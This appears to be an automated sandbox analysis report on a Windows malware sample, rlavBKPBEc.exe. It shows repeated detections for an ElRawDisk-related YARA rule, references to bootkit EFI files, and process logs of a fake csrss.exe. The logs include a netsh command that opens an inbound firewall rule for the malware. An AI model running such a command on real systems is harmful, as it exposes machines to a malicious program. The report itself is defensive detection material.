Source: 6.2.rlavBKPBEc.exe.9ab080.1.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 32.2.csrss.exe.5caa8d0.11.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 19.2.csrss.exe.9a56e0.2.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 1.3.rlavBKPBEc.exe.5ed9a80.1.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 47.2.csrss.exe.5ca4f30.11.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 37.2.csrss.exe.5ca4f30.11.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 26.3.csrss.exe.655bce0.3.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 1.2.rlavBKPBEc.exe.5624f30.11.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 37.3.csrss.exe.6559a80.1.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 19.2.csrss.exe.5ca4f30.11.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 19.2.csrss.exe.9ad2e0.0.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 19.2.csrss.exe.9ab080.3.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 18.3.csrss.exe.65540e0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 32.2.csrss.exe.5ca4f30.9.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 19.3.csrss.exe.65540e0.3.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 47.3.csrss.exe.655bce0.3.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 47.2.csrss.exe.9a56e0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 6.2.rlavBKPBEc.exe.9a56e0.0.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 31.2.csrss.exe.5ca4f30.9.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 19.3.csrss.exe.655bce0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 1.3.rlavBKPBEc.exe.5ed40e0.3.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 31.2.csrss.exe.9ab080.0.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 31.2.csrss.exe.9ad2e0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 18.2.csrss.exe.5ca4f30.10.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 18.3.csrss.exe.6559a80.2.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 18.2.csrss.exe.5caa8d0.11.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 32.2.csrss.exe.9a56e0.3.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 37.2.csrss.exe.9ab080.3.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 1.2.rlavBKPBEc.exe.9ab080.1.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 6.2.rlavBKPBEc.exe.56e4f30.10.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 6.3.rlavBKPBEc.exe.5f99a80.2.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 47.2.csrss.exe.5caa8d0.9.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 26.3.csrss.exe.6559a80.2.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 31.2.csrss.exe.9a56e0.3.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 31.2.csrss.exe.5caa8d0.10.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 31.3.csrss.exe.655bce0.3.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 37.2.csrss.exe.9a56e0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 26.2.csrss.exe.5caa8d0.10.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 19.3.csrss.exe.6559a80.2.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 6.3.rlavBKPBEc.exe.5f940e0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 37.3.csrss.exe.65540e0.2.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 32.3.csrss.exe.6559a80.3.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 6.3.rlavBKPBEc.exe.5f9bce0.3.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 1.3.rlavBKPBEc.exe.5edbce0.2.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 32.2.csrss.exe.9ab080.0.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 47.2.csrss.exe.9ab080.0.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 6.2.rlavBKPBEc.exe.9ad2e0.3.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 1.2.rlavBKPBEc.exe.9ad2e0.3.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 47.2.csrss.exe.9ad2e0.3.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 18.3.csrss.exe.655bce0.3.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 26.2.csrss.exe.9a56e0.2.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 18.2.csrss.exe.9a56e0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 47.3.csrss.exe.6559a80.1.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 26.3.csrss.exe.65540e0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 32.3.csrss.exe.655bce0.2.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 32.2.csrss.exe.9ad2e0.2.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 1.2.rlavBKPBEc.exe.9a56e0.0.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 31.3.csrss.exe.65540e0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 37.3.csrss.exe.655bce0.3.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 37.2.csrss.exe.9ad2e0.0.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 47.3.csrss.exe.65540e0.2.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 32.3.csrss.exe.65540e0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 18.2.csrss.exe.9ad2e0.3.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 26.2.csrss.exe.9ad2e0.3.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 31.3.csrss.exe.6559a80.2.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: C:\Windows\rss\csrss.exe

Code function: String function: 0042C330 appears 36 times

Source: bootx64.efi.18.dr	Static PE information: No import functions for PE file found
Source: EfiGuardDxe.efi.18.dr	Static PE information: No import functions for PE file found
Source: bootmgfw.efi.18.dr	Static PE information: No import functions for PE file found

Source: rlavBKPBEc.exe	Binary or memory string: OriginalFilename vs rlavBKPBEc.exe
Source: rlavBKPBEc.exe, 00000001.00000003.267675971.0000000006183000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameDBGHELP.DLLj% vs rlavBKPBEc.exe
Source: rlavBKPBEc.exe, 00000001.00000003.267675971.0000000006183000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamesymsrv.dllj% vs rlavBKPBEc.exe
Source: rlavBKPBEc.exe, 00000001.00000003.267418745.0000000005F88000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameHamakaze.exe( vs rlavBKPBEc.exe
Source: rlavBKPBEc.exe, 00000001.00000002.275345376.0000000000400000.00000040.00020000.sdmp	Binary or memory string: OriginalFilenameWinmonFS.sysZ vs rlavBKPBEc.exe
Source: rlavBKPBEc.exe, 00000001.00000003.267147105.0000000005D0A000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamedsefix.exe. vs rlavBKPBEc.exe
Source: rlavBKPBEc.exe	Binary or memory string: OriginalFilename vs rlavBKPBEc.exe
Source: rlavBKPBEc.exe, 00000006.00000003.296609860.0000000006243000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameDBGHELP.DLLj% vs rlavBKPBEc.exe
Source: rlavBKPBEc.exe, 00000006.00000003.296609860.0000000006243000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamesymsrv.dllj% vs rlavBKPBEc.exe
Source: rlavBKPBEc.exe, 00000006.00000002.308114392.0000000000400000.00000040.00020000.sdmp	Binary or memory string: OriginalFilenameWinmonFS.sysZ vs rlavBKPBEc.exe
Source: rlavBKPBEc.exe, 00000006.00000002.310738324.0000000000A59000.00000040.00020000.sdmp	Binary or memory string: OriginalFilenameHamakaze.exe( vs rlavBKPBEc.exe
Source: rlavBKPBEc.exe, 00000006.00000002.313497142.0000000005140000.00000040.00000001.sdmp	Binary or memory string: OriginalFilenamedsefix.exe. vs rlavBKPBEc.exe

Source: C:\Windows\SysWOW64\sc.exe

Process token adjusted: Security

Source: rlavBKPBEc.exe

Static PE information: invalid certificate

Source: rlavBKPBEc.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.rans.troj.evad.winEXE@57/19@12/5

Source: rlavBKPBEc.exe

Virustotal: Detection: 27%

Source: C:\Users\user\Desktop\rlavBKPBEc.exe

File read: C:\Users\user\Desktop\rlavBKPBEc.exe

Jump to behavior

Source: C:\Users\user\Desktop\rlavBKPBEc.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\rlavBKPBEc.exe "C:\Users\user\Desktop\rlavBKPBEc.exe"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: unknown	Process created: C:\Windows\servicing\TrustedInstaller.exe C:\Windows\servicing\TrustedInstaller.exe
Source: C:\Users\user\Desktop\rlavBKPBEc.exe	Process created: C:\Users\user\Desktop\rlavBKPBEc.exe C:\Users\user\Desktop\rlavBKPBEc.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k NetworkService -p
Source: unknown	Process created: C:\Windows\System32\SgrmBroker.exe C:\Windows\system32\SgrmBroker.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc
Source: C:\Users\user\Desktop\rlavBKPBEc.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: C:\Users\user\Desktop\rlavBKPBEc.exe	Process created: C:\Windows\rss\csrss.exe C:\Windows\rss\csrss.exe /301-301
Source: unknown	Process created: C:\Windows\rss\csrss.exe "C:\Windows\rss\csrss.exe"
